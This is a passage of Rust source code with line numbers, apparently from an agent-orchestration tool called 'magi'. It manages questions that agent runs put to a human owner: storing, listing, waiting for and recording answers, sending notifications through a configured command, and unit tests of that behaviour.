1627
1628 pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1631 anyhow::ensure!(
1632 !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1633 "invalid saved inquiry identity"
1634 );
1635 let q = read_path(&self.path_of(id))?;
1636 anyhow::ensure!(
1637 q.id == id,
1638 "saved inquiry identity does not match its filename"
1639 );
1640 Ok(q)
1641 }
1642
1643 pub fn get(&self, id: &str) -> Result<Question> {
1645 let resolved = self.resolve_id(id)?;
1646 let q = read_path(&self.path_of(&resolved))?;
1647 Ok(self.with_repair_choice(q))
1648 }
1649
1650 pub fn get_for_effects(&self, id: &str) -> Result<Question> {
1653 self.get_for_effects_in(id, &crate::task_chat::InquiryOwnership::default())
1654 }
1655
1656 pub(crate) fn get_for_effects_in(
1657 &self,
1658 id: &str,
1659 ownership: &crate::task_chat::InquiryOwnership,
1660 ) -> Result<Question> {
1661 let resolved = self.resolve_id(id)?;
1662 let q = self.with_repair_choice_in(read_path(&self.path_of(&resolved))?, ownership);
1663 let migrated = self
1664 .root
1665 .parent()
1666 .is_some_and(|home| crate::task_chat::migrated_source_in(home, &q.id, ownership));
1667 Ok(self.consumption_view_in(q, migrated, ownership))
1668 }
1669
1670 pub(crate) fn held_reply(&self, id: &str) -> bool {
1673 self.held_reply_in(id, &crate::task_chat::InquiryOwnership::default())
1674 }
1675
1676 pub(crate) fn held_reply_in(
1677 &self,
1678 id: &str,
1679 ownership: &crate::task_chat::InquiryOwnership,
1680 ) -> bool {
1681 self.read_history(id).is_ok_and(|q| {
1682 self.root.parent().is_some_and(|home| {
1683 (crate::task_chat::migrated_source_in(home, &q.id, ownership)
1684 && crate::task_chat::source_reply_needs_confirmation(home, &q))
1685 || crate::task_inquiry::Outbox::at(home)
1686 .get(id)
1687 .is_ok_and(|record| {
1688 record.decision.is_some_and(|d| {
1689 d.legacy_settled
1690 && d.status == crate::task_decision::Status::Resolved
1691 })
1692 })
1693 })
1694 })
1695 }
1696
1697 fn consumption_view_in(
1701 &self,
1702 mut q: Question,
1703 migrated: bool,
1704 ownership: &crate::task_chat::InquiryOwnership,
1705 ) -> Question {
1706 if self.root.parent().is_some_and(|home| {
1707 crate::task_inquiry::Outbox::at(home)
1708 .get(&q.id)
1709 .is_ok_and(|record| {
1710 record.decision.is_some_and(|d| {
1711 d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1712 })
1713 })
1714 }) {
1715 q.answer = None;
1719 q.answered_at = None;
1720 q.answer_authority = None;
1721 q.status = QuestionStatus::Open;
1722 return q;
1723 }
1724 if let Some(home) = self.root.parent()
1725 && migrated
1726 && !crate::task_chat::standalone_inquiry_in(home, &q, ownership)
1727 && crate::task_chat::source_reply_needs_confirmation(home, &q)
1728 {
1729 let saved = q.resolution().unwrap_or_default();
1730 q.detail.push_str(&format!(
1731 "\n\nSaved reply (history only; no new owner request): {saved}"
1732 ));
1733 q.answer = None;
1734 q.answered_at = None;
1735 q.answer_authority = None;
1736 q.status = QuestionStatus::Open;
1739 }
1740 q
1741 }
1742
1743 fn with_repair_choice(&self, q: Question) -> Question {
1744 self.with_repair_choice_in(q, &crate::task_chat::InquiryOwnership::default())
1745 }
1746
1747 fn with_repair_choice_in(
1748 &self,
1749 mut q: Question,
1750 ownership: &crate::task_chat::InquiryOwnership,
1751 ) -> Question {
1752 if q.status.open()
1755 && q.merge_target.is_none()
1756 && let Some(home) = self.root.parent()
1757 && let Some(target) = crate::release_watch::approval_target(home, &q)
1758 && let Ok((current, ())) = self.update_in(&q.id, ownership, |current| {
1759 if current.status.open() && current.merge_target.is_none() {
1760 current.merge_target = Some(target.clone());
1761 }
1762 Ok(())
1763 })
1764 {
1765 q = current;
1766 }
1767 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1768 && q.node == crate::land::APPROVAL_NODE
1769 && !self.held_reply_in(&q.id, ownership)
1770 && let Some(home) = self.root.parent()
1771 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1772 {
1773 let mut upgraded = q.clone();
1774 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1775 match self.update_in(&q.id, ownership, |current| {
1776 crate::land::upgrade_repair_choice(current, &state);
1777 Ok(())
1778 }) {
1779 Ok((current, ())) => return current,
1780 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1781 }
1782 }
1783 }
1784 q
1785 }
1786
1787 pub fn list(&self) -> Vec<Question> {
1795 self.list_view(false)
1796 }
1797
1798 pub fn list_for_effects(&self) -> Vec<Question> {
1800 self.list_view(true)
1801 }
1802
1803 fn list_view(&self, effects: bool) -> Vec<Question> {
1804 self.list_view_in(effects, &crate::task_chat::InquiryOwnership::default())
1805 }
1806
1807 pub(crate) fn list_for_effects_in(
1808 &self,
1809 ownership: &crate::task_chat::InquiryOwnership,
1810 ) -> Vec<Question> {
1811 self.list_view_in(true, ownership)
1812 }
1813
1814 fn list_view_in(
1815 &self,
1816 effects: bool,
1817 ownership: &crate::task_chat::InquiryOwnership,
1818 ) -> Vec<Question> {
1819 #[cfg(test)]
1820 QUESTION_SCANS.with(|count| count.set(count.get() + 1));
1821 let sources = self.root.parent().map(crate::task_chat::migration_sources);
1823 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1824 .into_iter()
1825 .flatten()
1826 .flatten()
1827 .map(|e| e.path())
1828 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1829 .filter_map(|p| read_path(&p).ok())
1830 .map(|q| {
1831 let migrated = match &sources {
1832 Some(Ok(Some(ids))) => ids.contains(&q.id),
1833 Some(_) => true,
1834 None => false,
1835 };
1836 let q = self.with_repair_choice_in(q, ownership);
1837 if effects {
1838 self.consumption_view_in(q, migrated, ownership)
1839 } else {
1840 q
1841 }
1842 })
1843 .collect();
1844 all.sort_unstable_by(|a, b| {
1845 let rank = |q: &Question| u8::from(!q.status.open());
1846 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1847 });
1848 all
1849 }
1850
1851 pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1855 let entries = match std::fs::read_dir(&self.root) {
1856 Ok(entries) => entries,
1857 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1858 Err(error) => return Err(error).context("inspect pending questions"),
1859 };
1860 let mut questions = Vec::new();
1861 for entry in entries {
1862 let path = entry?.path();
1863 if path.extension().is_some_and(|ext| ext == "json") {
1864 questions.push(read_path(&path)?);
1865 }
1866 }
1867 Ok(questions)
1868 }
1869
1870 pub fn open_for(&self, run: &str) -> Vec<Question> {
1876 self.list_for_effects()
1877 .into_iter()
1878 .filter(|q| q.status.open() && q.run == run)
1879 .collect()
1880 }
1881
1882 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1895 let mut abandoned = 0;
1896 for mut q in self.open_for(run) {
1897 if self.held_reply(&q.id) {
1898 continue;
1899 }
1900 q.abandon(why);
1901 self.put(&mut q)?;
1902 abandoned += 1;
1903 }
1904 Ok(abandoned)
1905 }
1906
1907 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1931 if status.resumable() {
1932 return Ok(0);
1933 }
1934 let why = format!(
1935 "run {run} {}, so nothing is waiting for this answer",
1936 status.as_str()
1937 );
1938 let mut abandoned = 0;
1943 for mut q in self.open_for(run) {
1944 if self.held_reply(&q.id) || q.node == crate::bump::NOTICE_NODE {
1945 continue;
1946 }
1947 if q.routed_task.is_some() && q.routed_chat.is_none() {
1951 continue;
1952 }
1953 q.abandon(&why);
1954 self.put(&mut q)?;
1955 abandoned += 1;
1956 }
1957 Ok(abandoned)
1958 }
1959
1960 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1963 use crate::queue::{Reference, record_ids, resolve_reference};
1964 let ids = record_ids(&self.root, "json")?;
1965 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1966 Reference::Found(id) => Ok(id),
1967 Reference::Missing => bail!("no question matches `{prefix}`"),
1968 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1969 }
1970 }
1971
1972 pub fn revision(&self) -> u64 {
1976 std::fs::read_dir(&self.root)
1977 .into_iter()
1978 .flatten()
1979 .flatten()
1980 .filter_map(|e| e.metadata().ok())
1981 .filter_map(|m| m.modified().ok())
1982 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1983 .map(|d| d.as_millis() as u64)
1984 .max()
1985 .unwrap_or(0)
1986 }
1987
1988 pub fn count_open(&self) -> usize {
1994 self.list().iter().filter(|q| q.status.open()).count()
1995 }
1996
1997 pub fn count_needs_owner(&self) -> usize {
2006 self.list()
2007 .iter()
2008 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
2009 .count()
2010 }
2011
2012 pub fn deputy_exhausted(&self, q: &Question) -> bool {
2016 q.status.open()
2017 && q.deputy
2018 .as_ref()
2019 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
2020 && !self
2021 .read_lease(&q.id)
2022 .is_some_and(|l| l.fresh(Timestamp::now()))
2023 }
2024}
2025
2026#[derive(Debug, Clone, PartialEq, Eq)]
2028pub enum Wait {
2029 Answered(String),
2031 Replied(String),
2036 Pending,
2043 Abandoned,
2048}
2049
2050pub async fn ask_and_wait(
2057 q: &mut Question,
2058 store: &Questions,
2059 notify: &config::Notify,
2060 timeout: Duration,
2061) -> Result<Wait> {
2062 wait_for_owner(q, store, notify, timeout, POLL).await
2063}
2064
2065pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
2080 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
2081}
2082
2083async fn wait_for_owner(
2089 q: &mut Question,
2090 store: &Questions,
2091 cfg: &config::Notify,
2092 timeout: Duration,
2093 poll: Duration,
2094) -> Result<Wait> {
2095 if !store.path_of(&q.id).is_file() {
2099 store.put(q).context("file the question")?;
2100 }
2101 if q.should_notify(Timestamp::now()) {
2102 if let Err(e) = notify(cfg, q).await {
2103 tracing::warn!(
2108 "could not notify about question {}: {e:#} - the web UI is the \
2109 only surface for it now",
2110 q.short()
2111 );
2112 }
2113 }
2114 tracing::info!(
2115 "question {} from {} is waiting for you: {}",
2116 q.short(),
2117 q.seat,
2118 q.summary
2119 );
2120 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
2121}
2122
2123fn hold(store: &Questions, id: &str) {
2125 store.beat(id, WaiterKind::Asker);
2126 let took = store.update(id, |q| {
2127 if q.status.open() {
2128 q.waiter = Some(Waiter {
2129 kind: WaiterKind::Asker,
2130 since: Timestamp::now(),
2131 });
2132 }
2133 Ok(())
2134 });
2135 if let Err(e) = took {
2136 tracing::debug!("could not note the wait on question {id}: {e:#}");
2137 }
2138}
2139
2140pub fn record_answer(
2151 store: &Questions,
2152 id: &str,
2153 reply: &str,
2154 title: Option<&str>,
2155) -> Result<String> {
2156 let home = store
2157 .root()
2158 .parent()
2159 .context("questions have no state home")?;
2160 let queue = crate::queue::Queue::at(home.join("queue"));
2161 let question = store.get(id)?;
2162 let _claims = crate::chat_control::decision_claims(&queue, &question)?;
2163 let (q, ()) = store.update(id, |r| {
2164 let answer = if r.free_text() {
2165 Answer::Text(reply.to_owned())
2166 } else {
2167 Answer::Choice(r.resolve_reply(reply)?.to_owned())
2168 };
2169 let replacement = r.node == crate::github_text::ASK_NODE
2170 && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2171 if replacement {
2172 let title =
2173 title.context("use my text needs --title with the literal replacement title")?;
2174 if title.trim().is_empty() {
2175 bail!("replacement title must not be empty");
2176 }
2177 r.publication_title = Some(title.to_owned());
2178 } else if title.is_some() {
2179 bail!("--title is only valid for a publication decision's `use my text` choice");
2180 }
2181 r.answer(answer)
2182 })?;
2183 let mut out = format!("answered {} {}", q.short(), q.summary);
2184 let resolution = q.resolution();
2185 let approval = q.node == crate::land::APPROVAL_NODE;
2186 if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2187 out.push_str(
2188 "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2189 );
2190 }
2191 if approval
2192 && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2193 && resolution
2194 .as_deref()
2195 .is_some_and(crate::merge_decision::stops)
2196 {
2197 out.push_str(&format!(
2198 "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2199 q.run
2200 ));
2201 }
2202 if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2203 out.push_str(&format!(
2204 "\nRepair requested; this answer command has not started repair or approved a merge. \
2205 A running magi serve / magi web resumes the existing run. Without one, \
2206 run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2207 q.run
2208 ));
2209 }
2210 Ok(out)
2211}
2212
2213pub fn hand_over(store: &Questions, q: &mut Question) {
2221 let done = store.update(&q.id, |r| {
2222 r.delivered_turns = r.delivered_turns.max(q.thread.len());
2223 if r.status == QuestionStatus::Answered {
2224 r.answer_delivered = true;
2225 }
2226 r.waiter = None;
2227 Ok(())
2228 });
2229 match done {
2230 Ok((fresh, ())) => *q = fresh,
2231 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2232 }
2233}
2234
2235pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2239 let says = q.undelivered_owner_turns();
2240 if says.is_empty() {
2241 return answer.to_owned();
2242 }
2243 format!(
2244 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2245 says.join("\n\n")
2246 )
2247}
2248
2249pub fn deliver_answer(
2252 store: &Questions,
2253 q: &mut Question,
2254 answer: &str,
2255 out: &mut impl std::io::Write,
2256) -> std::io::Result<()> {
2257 writeln!(out, "{}", answer_for_agent(q, answer))?;
2258 out.flush()?;
2259 hand_over(store, q);
2260 Ok(())
2261}
2262
2263async fn wait_loop(
2273 q: &mut Question,
2274 store: &Questions,
2275 timeout: Duration,
2276 slice: Duration,
2277 poll: Duration,
2278) -> Result<Wait> {
2279 if store.held_reply(&q.id) {
2280 return Ok(Wait::Pending);
2281 }
2282 if let Some(said) = q.unread_from_owner() {
2292 return Ok(Wait::Replied(said));
2293 }
2294 hold(store, &q.id);
2295
2296 let bounded = timeout.min(slice);
2297 let is_the_real_deadline = bounded >= timeout;
2298 let deadline = tokio::time::Instant::now() + bounded;
2299 loop {
2300 let now = tokio::time::Instant::now();
2301 if now >= deadline {
2302 if store.held_reply(&q.id) || !is_the_real_deadline {
2303 return Ok(Wait::Pending);
2307 }
2308 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2309 let (fresh, unread) = store
2313 .update(&q.id, |r| {
2314 let unread = r.unread_from_owner();
2315 if unread.is_none() {
2316 r.abandon(&why);
2317 r.waiter = None;
2318 }
2319 Ok(unread)
2320 })
2321 .context("record the abandoned question")?;
2322 *q = fresh;
2323 if let Some(said) = unread {
2324 return Ok(Wait::Replied(said));
2325 }
2326 tracing::warn!(
2327 "question {} went unanswered for {}s; the run parks and the \
2328 question stays as the record of it",
2329 q.short(),
2330 timeout.as_secs()
2331 );
2332 return Ok(Wait::Abandoned);
2333 }
2334 tokio::time::sleep(poll.min(deadline - now)).await;
2335 store.beat(&q.id, WaiterKind::Asker);
2336 match store.get_for_effects(&q.id) {
2337 Ok(fresh) if !fresh.status.open() => {
2338 *q = fresh;
2342 return Ok(match q.resolution() {
2343 Some(a) => Wait::Answered(a),
2344 None => Wait::Abandoned,
2347 });
2348 }
2349 Ok(fresh) => {
2350 if let Some(said) = fresh.unread_from_owner() {
2351 *q = fresh;
2352 return Ok(Wait::Replied(said));
2353 }
2354 }
2357 Err(e) => {
2358 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2362 }
2363 }
2364 }
2365}
2366
2367pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2378 if q.routed_task.is_some() {
2379 return Ok(());
2380 }
2381 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2382 if q.status.open() {
2383 summary.push_str(&format!(
2384 " Respond in Questions or with `magi answer {}`.",
2385 q.id
2386 ));
2387 }
2388 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2389 notify_at(cmd, &q.run, &summary, &url).await
2390}
2391
2392pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2395 let url = view_url(
2396 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2397 "notifications",
2398 );
2399 notify_at(cmd, run, summary, &url).await
2400}
2401
2402async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2403 let Some((program, args)) = cmd.command.split_first() else {
2404 return Ok(());
2406 };
2407 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2408 tracing::warn!(
2409 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2410 so the link will be empty - export it next to `magi serve` with \
2411 the address `magi web --open` printed"
2412 );
2413 }
2414 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2415 tracing::debug!(program = %program, args = ?argv, "notifying");
2416
2417 let mut child = tokio::process::Command::new(program);
2418 child.quiet();
2419 child
2420 .args(&argv)
2421 .stdin(std::process::Stdio::null())
2422 .kill_on_drop(true);
2425 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2426 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2427 Err(_) => bail!(
2428 "notification command `{program}` did not finish within {}s",
2429 NOTIFY_TIMEOUT.as_secs()
2430 ),
2431 };
2432 if !out.status.success() {
2433 let stderr = String::from_utf8_lossy(&out.stderr);
2434 let why = stderr
2435 .lines()
2436 .rev()
2437 .find(|l| !l.trim().is_empty())
2438 .unwrap_or("no output on stderr")
2439 .trim();
2440 bail!(
2441 "notification command `{program}` exited with {}: {why}",
2442 out.status
2443 );
2444 }
2445 Ok(())
2446}
2447
2448fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2454 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2455 let mut out = String::with_capacity(template.len());
2456 let mut rest = template;
2457 while let Some(at) = rest.find('{') {
2458 out.push_str(&rest[..at]);
2459 let tail = &rest[at..];
2460 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2461 Some((token, value)) => {
2462 out.push_str(value);
2463 rest = &tail[token.len()..];
2464 }
2465 None => {
2466 out.push('{');
2468 rest = &tail[1..];
2469 }
2470 }
2471 }
2472 out.push_str(rest);
2473 out
2474}
2475
2476fn question_url(base: &str) -> String {
2483 view_url(base, "questions")
2484}
2485
2486fn view_url(base: &str, view: &str) -> String {
2487 let base = base.trim().trim_end_matches('/');
2488 if base.is_empty() || base.contains('#') {
2489 return base.to_owned();
2490 }
2491 format!("{base}/#/{view}")
2492}
2493
2494fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2499 let index = dir.join(PANEL_HTML);
2500 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2501 for (name, src) in assets {
2502 let dst = dir.join(name);
2503 std::fs::copy(src, &dst)
2504 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2505 }
2506 Ok(())
2507}
2508
2509fn clear_dir(path: &Path) -> Result<()> {
2514 match std::fs::remove_dir_all(path) {
2515 Ok(()) => Ok(()),
2516 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2517 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2518 }
2519}
2520
2521fn read_path(path: &Path) -> Result<Question> {
2522 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2523 let q: Question =
2524 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2525 if q.schema > SCHEMA {
2526 bail!(
2531 "question {} was written by a newer magi (schema {}, this build \
2532 only speaks up to {SCHEMA})",
2533 q.id,
2534 q.schema
2535 );
2536 }
2537 Ok(q)
2538}
2539
2540pub fn short_id(id: &str) -> &str {
2542 short(id)
2543}
2544
2545fn short(id: &str) -> &str {
2546 id.split('-').next_back().unwrap_or(id)
2547}
2548
2549fn new_id() -> String {
2550 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2551 new_id_at(&stamp.to_string(), crate::rng::entropy())
2552}
2553
2554fn new_id_at(stamp: &str, seed: u64) -> String {
2555 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2560 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2561 format!(
2562 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2563 (seed ^ (seed >> 32)) & 0xffff
2564 )
2565}
2566
2567#[cfg(test)]
2568mod tests {
2569 use super::*;
2570
2571 fn store() -> (tempfile::TempDir, Questions) {
2574 let dir = tempfile::tempdir().unwrap();
2575 let s = Questions::at(dir.path().join("questions"));
2576 (dir, s)
2577 }
2578
2579 #[test]
2580 fn run_names_task_only_for_task_questions() {
2581 for (node, want) in [
2582 (crate::conduct::NODE, true),
2583 (crate::triage::NODE, true),
2584 (crate::triage::DEPS_NODE, true),
2585 (crate::land::APPROVAL_NODE, false),
2586 (crate::bump::NOTICE_NODE, false),
2587 ("implement", false),
2588 ] {
2589 let mut q = choice_question();
2590 q.node = node.to_owned();
2591 assert_eq!(q.run_names_task(), want, "{node}");
2592 }
2593 }
2594
2595 #[test]
2596 fn deleting_a_run_stops_its_questions_asking() {
2597 let (_dir, store) = store();
2598
2599 let mut open_one = choice_question();
2600 store.put(&mut open_one).unwrap();
2601 let mut answered = free_question();
2602 answered
2603 .answer(Answer::Text("keep this".to_owned()))
2604 .unwrap();
2605 store.put(&mut answered).unwrap();
2606 let mut elsewhere = choice_question();
2607 elsewhere.run = "20260903-105039-3cbf".to_owned();
2608 store.put(&mut elsewhere).unwrap();
2609
2610 let n = store
2611 .abandon_for_run(&open_one.run, "run was deleted")
2612 .unwrap();
2613 assert_eq!(n, 1, "only the open question of that run");
2614
2615 let back = store.get(&open_one.id).unwrap();
2616 assert!(!back.status.open(), "it no longer asks for a decision");
2617 assert!(
2618 back.detail.contains("run was deleted"),
2619 "the operator can see why: {}",
2620 back.detail
2621 );
2622
2623 let kept = store.get(&answered.id).unwrap();
2624 assert_eq!(
2625 kept.status,
2626 QuestionStatus::Answered,
2627 "an answered question is a decision on record, not something to revoke"
2628 );
2629 assert!(
2630 store.get(&elsewhere.id).unwrap().status.open(),
2631 "another run's question is untouched"
2632 );
2633 assert!(store.open_for(&open_one.run).is_empty());
2634 }
2635
2636 #[test]
2637 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2638 let (_dir, store) = store();
2639 let mut q = choice_question();
2640 store.put(&mut q).unwrap();
2641
2642 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2644 assert_eq!(n, 0);
2645 assert!(store.get(&q.id).unwrap().status.open());
2646
2647 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2650 assert_eq!(n, 1);
2651 let back = store.get(&q.id).unwrap();
2652 assert!(!back.status.open());
2653 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2654
2655 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2657 }
2658
2659 #[test]
2660 fn settle_run_keeps_an_undelivered_routed_decision() {
2661 let (_dir, store) = store();
2662 let mut q = choice_question();
2663 q.routed_task = Some("task".into());
2664 store.put(&mut q).unwrap();
2665 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2666 assert!(store.get(&q.id).unwrap().status.open());
2667
2668 store
2670 .update(&q.id, |r| {
2671 r.routed_chat = Some("chat".into());
2672 Ok(())
2673 })
2674 .unwrap();
2675 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2676 }
2677
2678 fn choice_question() -> Question {
2679 Question::new(
2680 "20260902-201256-9fb7".to_owned(),
2681 "implement".to_owned(),
2682 "impl-A".to_owned(),
2683 "Which storage backend should the cache use?".to_owned(),
2684 "Both are already dependencies.".to_owned(),
2685 vec!["SQLite".to_owned(), "Redis".to_owned()],
2686 )
2687 }
2688
2689 fn free_question() -> Question {
2690 Question::new(
2691 "20260902-201256-9fb7".to_owned(),
2692 "review".to_owned(),
2693 "rev-1".to_owned(),
2694 "What should the error message say?".to_owned(),
2695 String::new(),
2696 Vec::new(),
2697 )
2698 }
2699
2700 fn quiet() -> config::Notify {
2702 config::Notify::default()
2703 }
2704
2705 #[test]
2706 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2707 let mut q = choice_question();
2711 q.id = "20260902-231501-ab12".to_owned();
2712 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2713 let keys: Vec<&str> = open
2717 .as_object()
2718 .unwrap()
2719 .keys()
2720 .map(String::as_str)
2721 .collect();
2722 assert_eq!(
2723 keys,
2724 [
2725 "actions",
2726 "answer",
2727 "answer_delivered",
2728 "answer_timeout",
2729 "answered_at",
2730 "asked_at",
2731 "assets",
2732 "choices",
2733 "consult",
2734 "cwd",
2735 "decision_context",
2736 "delivered_turns",
2737 "deputy",
2738 "detail",
2739 "id",
2740 "merge_target",
2741 "node",
2742 "panel",
2743 "routed_chat",
2744 "routed_task",
2745 "run",
2746 "schema",
2747 "seat",
2748 "status",
2749 "summary",
2750 "thread",
2751 "triage_generation",
2752 "waiter",
2753 ],
2754 "the on-disk field set is a contract with the front end"
2755 );
2756 assert_eq!(open["schema"], 13);
2757 assert_eq!(open["merge_target"], serde_json::Value::Null);
2758 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2759 assert_eq!(open["thread"], serde_json::json!([]));
2760 assert_eq!(open["id"], "20260902-231501-ab12");
2761 assert_eq!(open["run"], "20260902-201256-9fb7");
2762 assert_eq!(open["node"], "implement");
2763 assert_eq!(open["seat"], "impl-A");
2764 assert_eq!(open["status"], "open");
2765 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2766 assert_eq!(open["answered_at"], serde_json::Value::Null);
2767 assert_eq!(open["answer"], serde_json::Value::Null);
2768 let asked = open["asked_at"].as_str().unwrap();
2769 assert!(
2770 asked.ends_with('Z') && asked.contains('T'),
2771 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2772 );
2773
2774 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2776 let answered = serde_json::to_value(&q).unwrap();
2777 assert_eq!(answered["status"], "answered");
2778 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2779 assert!(answered["answered_at"].is_string());
2780
2781 let mut free = free_question();
2783 free.answer(Answer::Text("Say which file it was".to_owned()))
2784 .unwrap();
2785 assert_eq!(
2786 serde_json::to_value(&free).unwrap()["answer"],
2787 serde_json::json!({"text": "Say which file it was"})
2788 );
2789
2790 let body = serde_json::to_string(&q).unwrap();
2792 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2793 }
2794
2795 #[test]
2796 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2797 let (_dir, store) = store();
2798 let mut q = approval_question();
2799 q.merge_target = Some(crate::merge_decision::Target {
2800 pr: "https://github.com/example/repo/pull/42".into(),
2801 head: "reviewed-head".into(),
2802 language: "ja".into(),
2803 });
2804 store.put(&mut q).unwrap();
2805 let saved = store.get(&q.id).unwrap();
2806 assert_eq!(saved, q);
2807 let mut body = serde_json::to_value(&saved).unwrap();
2808 assert_eq!(body["schema"], 13);
2809 assert_eq!(
2810 body["merge_target"],
2811 serde_json::json!({
2812 "pr": "https://github.com/example/repo/pull/42",
2813 "head": "reviewed-head",
2814 "language": "ja"
2815 })
2816 );
2817
2818 body["schema"] = serde_json::json!(10);
2821 body.as_object_mut().unwrap().remove("merge_target");
2822 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2823 let legacy = store.get(&q.id).unwrap();
2824 assert_eq!(legacy.schema, 10);
2825 assert!(legacy.merge_target.is_none());
2826 assert_eq!(legacy.choices, q.choices);
2827 assert_eq!(legacy.status, q.status);
2828 }
2829
2830 #[test]
2831 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2832 let mut unoffered = choice_question();
2835 let a = unoffered
2836 .answer(Answer::Choice("Postgres".to_owned()))
2837 .unwrap_err()
2838 .to_string();
2839
2840 let mut typed = choice_question();
2841 let b = typed
2842 .answer(Answer::Text("use Postgres".to_owned()))
2843 .unwrap_err()
2844 .to_string();
2845
2846 let mut blank = free_question();
2847 let c = blank
2848 .answer(Answer::Text(" \n".to_owned()))
2849 .unwrap_err()
2850 .to_string();
2851
2852 let mut twice = choice_question();
2853 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2854 let d = twice
2855 .answer(Answer::Choice("Redis".to_owned()))
2856 .unwrap_err()
2857 .to_string();
2858
2859 assert!(a.contains("not one of the choices"), "{a}");
2860 assert!(b.contains("multiple choice"), "{b}");
2861 assert!(c.contains("empty"), "{c}");
2862 assert!(d.contains("already answered"), "{d}");
2863 let mut distinct = vec![a, b, c, d];
2864 let asked = distinct.len();
2865 distinct.sort_unstable();
2866 distinct.dedup();
2867 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2868
2869 assert_eq!(unoffered.status, QuestionStatus::Open);
2871 assert_eq!(typed.status, QuestionStatus::Open);
2872 assert_eq!(blank.status, QuestionStatus::Open);
2873 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2875
2876 let mut free = free_question();
2878 let e = free
2879 .answer(Answer::Choice("SQLite".to_owned()))
2880 .unwrap_err()
2881 .to_string();
2882 assert!(e.contains("free text"), "{e}");
2883 }
2884
2885 #[test]
